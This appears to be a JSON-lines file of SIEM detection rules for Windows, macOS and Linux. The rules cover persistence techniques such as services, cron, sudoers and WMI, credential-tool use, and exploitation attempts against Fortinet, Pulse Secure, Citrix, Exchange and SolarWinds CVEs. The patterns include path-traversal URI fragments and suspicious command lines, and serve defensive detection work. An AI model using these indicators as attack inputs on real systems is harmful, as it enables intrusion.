{"description": "Detects CrackMapExecWin Activity as Described by NCSC", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e4bb0b3c-c87a-4455-e025-ff086463431a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CrackMapExecWin", "query": "process.executable:*\\\\crackmapexec.exe", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Credential Access", "T1087", "T1110"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1110", "name": "Brute Force", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1087", "name": "Account Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", "enabled": false, "false_positives": ["Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "22d25ac2-537c-6990-b630-1d0e9f897dbd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "UEFI Persistence Via Wpbbin - FileCreation", "query": "file.path:\"C\\:\\\\Windows\\\\System32\\\\wpbbin.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1542"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1542", "name": "Pre-OS Boot", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "b39e8dba-65c0-ec68-133f-3a9877a6d566", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Hidden User Creation", "query": "(process.executable:*\\/dscl AND process.command_line:*create* AND ((process.command_line:*UniqueID* AND process.command_line:/([0-9]|[1-9][0-9]|[1-4][0-9]{2})/) OR (process.command_line:*IsHidden* AND process.command_line:(*true* OR *yes* OR *1*))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects creation of a local user via PowerShell", "enabled": false, "false_positives": ["Legitimate user creation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1a082ced-f11f-658d-ec71-207531d75804", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "PowerShell Create Local User", "query": "powershell.file.script_block_text:*New\\-LocalUser*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059", "T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@ROxPinTeddy"], "license": ""}
{"description": "Detects creation of a malicious DLL file in the location where the OneDrive or Team applications\nUpon execution of the Teams or OneDrive application, the dropped malicious DLL file (\u201ciphlpapi.dll\u201d) is sideloaded\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "26e16c2a-b2ac-323c-9b9d-2b5aa70f5d2b", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Malicious DLL File Dropped in the Teams or OneDrive Folder", "query": "(file.path.text:*iphlpapi.dll* AND file.path.text:*\\\\AppData\\\\Local\\\\Microsoft*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "Privilege Escalation", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects creation of a new service via \"sc\" command or the powershell \"new-service\" cmdlet with suspicious binary paths", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b787282f-31e9-21de-d8c7-31a7d6198fcc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious New Service Creation", "query": "(((process.executable.text:*\\\\sc.exe AND process.command_line.text:*create* AND process.command_line.text:*binPath\\=*) OR (process.command_line.text:*New\\-Service* AND process.command_line.text:*\\-BinaryPathName*)) AND process.command_line.text:(*powershell* OR *mshta* OR *wscript* OR *cscript* OR *svchost* OR *dllhost* OR *cmd\\ * OR *cmd.exe\\ \\/c* OR *cmd.exe\\ \\/k* OR *rundll32* OR *C\\:\\\\Users\\\\Public* OR *\\\\Downloads\\\\* OR *\\\\Desktop\\\\* OR *\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\* OR *C\\:\\\\Windows\\\\TEMP\\\\* OR *\\\\AppData\\\\Local\\\\Temp*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of a new service.", "enabled": false, "false_positives": ["Legitimate administrator or user creates a service for legitimate reasons."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c4da4c7e-e439-1fd5-478f-0b5684a7759b", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "New Service Creation", "query": "((process.executable:*\\\\sc.exe AND process.command_line:*create* AND process.command_line:*binPath*) OR (process.command_line:*New\\-Service* AND process.command_line:*\\-BinaryPathName*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1543"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1543", "name": "Create or Modify System Process", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "Daniil Yugoslavskiy", "oscd.community"], "license": ""}
{"description": "Detects creation of a scheduled task with a GUID like name", "enabled": false, "false_positives": ["Legitimate software naming their tasks as GUIDs"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4a442198-7059-3117-d977-d094ad9a8f84", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Scheduled Task Name As GUID", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\/Create\\ * AND process.command_line.text:(*\\/TN\\ \\\"\\{* OR *\\/TN\\ '\\{* OR *\\/TN\\ \\{*) AND process.command_line.text:(*\\}\\\"* OR *\\}'* OR *\\}\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of cron file or files in Cron directories which could indicates potential persistence.", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "enabled": false, "false_positives": ["Any legitimate cron file."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3172fbf0-e2a0-dbfb-7ea3-c6dbf6e23e53", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via Cron Files", "query": "((file.path.text:(\\/etc\\/cron.d\\/* OR \\/etc\\/cron.daily\\/* OR \\/etc\\/cron.hourly\\/* OR \\/etc\\/cron.monthly\\/* OR \\/etc\\/cron.weekly\\/* OR \\/var\\/spool\\/cron\\/crontabs\\/*)) OR (file.path.text:(*\\/etc\\/cron.allow* OR *\\/etc\\/cron.deny* OR *\\/etc\\/crontab*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects creation of cron files or files in Cron directories. Potential persistence.", "enabled": false, "false_positives": ["Any legitimate cron file."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "fc01196d-0851-fed7-8e32-11becdd8ed01", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Cron Files", "query": "(file.path:(\\/etc\\/cron.d\\/* OR \\/etc\\/cron.daily\\/* OR \\/etc\\/cron.hourly\\/* OR \\/etc\\/cron.monthly\\/* OR \\/etc\\/cron.weekly\\/* OR \\/var\\/spool\\/cron\\/crontabs\\/*) OR file.path:(*\\/etc\\/cron.allow* OR *\\/etc\\/cron.deny* OR *\\/etc\\/crontab*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Detects creation of default named pipe used by the DiagTrackEoP POC", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b396473e-62a1-11b4-7b45-0ecf49f74088", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DiagTrackEoP Default Named Pipe", "query": "file.name:*thisispipe*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Privilege Escalation"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of local users via the net.exe command with the option \"never expire\"", "enabled": false, "false_positives": ["Unlikley"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b694e258-ad15-027a-faf9-77713747b1e1", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Net.exe User Account Creation - Never Expire", "query": "(process.executable:(*\\\\net.exe OR *\\\\net1.exe) AND process.command_line:*user* AND process.command_line:*add* AND process.command_line:*expires\\:never*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of new \".dll\" files inside the plugins directory of a notepad++ installation by a process other than \"gup.exe\". Which could indicates possible persistence", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Possible FPs during first installation of Notepad++", "Legitimate use of custom plugins to enhance notepad++ functionality by users"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "80ba4598-8ceb-6a1c-bfb5-4890b5b47275", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Persistence Via Notepad++ Plugins", "query": "((file.path.text:*\\\\Notepad\\+\\+\\\\plugins\\\\* AND file.path.text:*.dll) AND (NOT (((process.executable.text:*\\\\Notepad\\+\\+\\\\updater\\\\gup.exe)) OR ((process.executable.text:C\\:\\\\Users\\\\* AND process.executable.text:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.executable.text:(*\\\\target.exe OR *Installer.x64.exe))))))", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects creation of startup item plist files that automatically get executed at boot initialization to establish persistence.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "3fe398ed-15a7-7787-2748-6004c86625fe", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Startup Items", "query": "(file.path:*\\/Library\\/StartupItems\\/* OR file.path:*.plist)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Privilege Escalation", "T1037"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1037", "name": "Boot or Logon Initialization Scripts", "reference": ""}]}, {"tactic": {"id": "TA0004", "reference": "", "name": "Privilege Escalation"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1037", "name": "Boot or Logon Initialization Scripts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Creation of legitimate files in sudoers.d folder part of administrator work"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a995cb47-d91b-4984-43e1-f461f5d80fb0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via Sudoers Files", "query": "file.path.text:\\/etc\\/sudoers.d\\/*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects creation of sudoers file or files in \"sudoers.d\" directory which can be used a potential method to persiste privileges for a specific user.", "enabled": false, "false_positives": ["Creation of legitimate files in sudoers.d folder part of administrator work"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "a995cb47-d91b-4984-43e1-f461f5d80fb0", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Persistence Via Sudoers Files", "query": "file.path:\\/etc\\/sudoers.d\\/*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects creation of UserInitMprLogonScript persistence method", "enabled": false, "false_positives": ["Exclude legitimate logon scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5b5713fc-83e4-9dff-cad5-9890f5ca9e23", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Logon Scripts Creation in UserInitMprLogonScript Registry", "query": "(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*UserInitMprLogonScript*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1037"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1037", "name": "Boot or Logon Initialization Scripts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Tom Ueltschi (@c_APT_ure)"], "license": ""}
{"description": "Detects creation of WMI event subscription persistence method", "enabled": false, "false_positives": ["exclude legitimate (vetted) use of WMI event subscription in your network"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cbdb3ea1-b7da-2092-d716-508e6ef8d377", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "WMI Event Subscription", "query": "winlog.event_id:(\"19\" OR \"20\" OR \"21\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1546"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1546", "name": "Event Triggered Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tom Ueltschi (@c_APT_ure)"], "license": ""}
{"description": "Detects creation or execution of UserInitMprLogonScript persistence method", "enabled": false, "false_positives": ["Exclude legitimate logon scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ee2f3b65-f5ac-0d10-6580-411e83bf1966", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Logon Scripts (UserInitMprLogonScript)", "query": "((process.parent.executable:*\\\\userinit.exe AND (NOT ((process.executable:(*explorer.exe OR *\\\\proquota.exe)) OR (process.command_line:(*netlogon*.bat* OR *UsrLogon.cmd* OR *C\\:\\\\WINDOWS\\\\Explorer.EXE*)) OR (process.executable:*\\\\Citrix\\\\System32\\\\icast.exe)))) OR process.command_line:*UserInitMprLogonScript*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1037"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1037", "name": "Boot or Logon Initialization Scripts", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Tom Ueltschi (@c_APT_ure)", "Tim Shelton"], "license": ""}
{"description": "Detects creation/modification of Assistive Technology applications and persistence with usage of 'at'", "enabled": false, "false_positives": ["Creation of non-default, legitimate at usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5a64bb00-2e35-f5fa-9594-2ee5e15a8f0a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Atbroker Registry Change", "query": "(winlog.event_data.TargetObject:(*Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Accessibility\\\\ATs* OR *Software\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Accessibility\\\\Configuration*) AND (NOT (process.executable.text:\"C\\:\\\\Windows\\\\system32\\\\atbroker.exe\" AND winlog.event_data.TargetObject:*\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\Accessibility\\\\Configuration* AND winlog.event_data.Details:\"\$Empty\$\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218", "T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Mateusz Wydra", "oscd.community"], "license": ""}
{"description": "Detects CVE-2018-13379 exploitation attempt against Fortinet SSL VPNs", "author": ["Bhabesh Raj"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "e18bbcf2-e4b2-91b4-e30d-ecae7065dd68", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Fortinet CVE-2018-13379 Exploitation", "query": "(cs-uri-query:*lang\\=\\/..\\/..\\/* AND cs-uri-query:*\\/dev\\/cmdb\\/sslvpn_websession*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0a3bd41f-5b8c-926c-e101-136e1c8141c9", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Pulse Secure Attack CVE-2019-11510", "query": "cs-uri-query:*?/dana/html5acc/guacamole/*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2019-11510 exploitation attempt - URI contains Guacamole", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "0a3bd41f-5b8c-926c-e101-136e1c8141c9", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Pulse Secure Attack CVE-2019-11510", "query": "url.original:*?\\/dana\\/html5acc\\/guacamole\\/*", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects CVE-2019-19781 exploitation attempt against Citrix Netscaler, Application Delivery Controller and Citrix Gateway Attack", "author": ["Arnim Rupp", "Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2db46fc8-701c-5257-1195-6cc3c113a537", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Citrix Netscaler Attack CVE-2019-19781", "query": "((((cs-uri-query:*\\/..\\/vpns\\/*) OR (cs-uri-query:*\\/vpns\\/cfg\\/smb.conf))) OR ((cs-uri-query:*\\/vpns\\/portal\\/scripts\\/* AND cs-uri-query:*.pl*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2020-0688 Exploitation attempts", "author": ["NVISO"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "dabf6e09-c16e-755f-0500-4c1deda39530", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2020-0688 Exploitation Attempt", "query": "(cs-uri-query:*\\/ecp\\/default.aspx* AND cs-uri-query:*__VIEWSTATEGENERATOR\\=* AND cs-uri-query:*__VIEWSTATE\\=*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2020-0688 Exploitation attempts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "dabf6e09-c16e-755f-0500-4c1deda39530", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CVE-2020-0688 Exploitation Attempt", "query": "(url.original:*\\/ecp\\/default.aspx* AND url.original:*__VIEWSTATEGENERATOR\\=* AND url.original:*__VIEWSTATE\\=*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["NVISO"], "license": ""}
{"description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", "author": ["Bhabesh Raj", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ff5553d0-07ac-6a1d-ce2b-a4f72d5db49c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2020-10148 SolarWinds Orion API Auth Bypass", "query": "((cs-uri-query:(*\\/WebResource.axd* OR *\\/ScriptResource.axd* OR *\\/i18n.ashx* OR *\\/Skipi18n*) AND cs-uri-query:(*\\/SolarWinds\\/* OR *\\/api\\/*)) AND (NOT (((cs-uri-query:*Orion\\/Skipi18n\\/Profiler\\/*)) OR ((cs-uri-query:(*css.i18n.ashx* OR *js.i18n.ashx*))))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects CVE-2020-10148 SolarWinds Orion API authentication bypass attempts", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "ff5553d0-07ac-6a1d-ce2b-a4f72d5db49c", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "CVE-2020-10148 SolarWinds Orion API Auth Bypass", "query": "((url.original:(*WebResource.axd* OR *ScriptResource.axd* OR *i18n.ashx* OR *Skipi18n*) AND (NOT (url.original:*Orion\\/Skipi18n\\/Profiler\\/*))) AND (NOT (url.original:(*css.i18n.ashx* OR *js.i18n.ashx*))))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": 